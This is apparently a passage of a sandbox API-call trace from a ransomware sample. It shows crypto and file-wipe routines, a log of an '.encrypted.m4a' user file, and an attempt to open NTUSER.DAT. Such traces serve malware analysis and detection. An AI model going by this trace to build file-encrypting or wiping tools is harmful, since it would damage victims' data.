wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.669] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.669] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.669] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.669] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.669] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.669] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.669] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.670] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.670] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.670] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.670] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.670] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.670] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0027.670] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.670] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.670] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.670] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.670] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.670] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.675] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.676] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.679] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.679] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.679] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.679] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.679] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.679] CharLowerBuffW (in: lpsz="byte[67035]", cchLength=0xb | out: lpsz="byte[67035]") returned 0xb [0027.680] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.680] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.680] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.680] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.680] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.680] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.680] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.680] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.680] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.680] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.680] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.680] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.680] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.680] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.680] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.682] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.682] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.682] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.682] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.682] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.682] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.682] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.682] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.683] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.683] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.683] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.683] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.683] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.683] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.683] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.683] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.684] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.684] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.684] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.684] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.684] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.684] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.684] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.684] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.684] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.684] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.688] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.688] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.688] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.688] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.688] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.688] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.688] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.688] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.688] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.688] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=7879) returned 1 [0027.688] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.688] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.688] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.688] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1ec7, lpOverlapped=0x0) returned 1 [0027.689] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.689] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1ec7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.689] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=7879) returned 1 [0027.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\Yo5YETXnV.encrypted.m4a\r\n", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0027.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\Yo5YETXnV.encrypted.m4a\r\n", cchWideChar=53, lpMultiByteStr=0xe8f404bcd0, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\Yo5YETXnV.encrypted.m4a\r\n", lpUsedDefaultChar=0x0) returned 53 [0027.689] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40513b0*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40513b0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x34, lpOverlapped=0x0) returned 1 [0027.689] CloseHandle (hObject=0x188) returned 1 [0027.690] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.690] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.690] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.690] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.690] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.690] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.690] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.692] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.693] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41784c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.694] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41784e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.694] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\NTUSER.DAT", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0027.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\NTUSER.DAT", cchWideChar=32, lpMultiByteStr=0xe8f41889f0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\NTUSER.DAT", lpUsedDefaultChar=0x0) returned 32 [0027.694] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\NTUSER.DAT" (normalized: "c:\\users\\5jghkoaofdp\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0027.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=32, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 32 [0027.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=32, lpWideCharStr=0xe8f4051b30, cchWideChar=32 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\NTUSER.DAT") returned 32 [0027.696] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.698] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.698] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yes", cchCount1=3, lpString2="no", cchCount2=2) returned 3 [0027.699] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.699] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.699] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.699] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.699] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.699] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.699] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.699] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.699] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.699] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.699] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.699] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.699] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.699] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.699] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.699] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.699] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 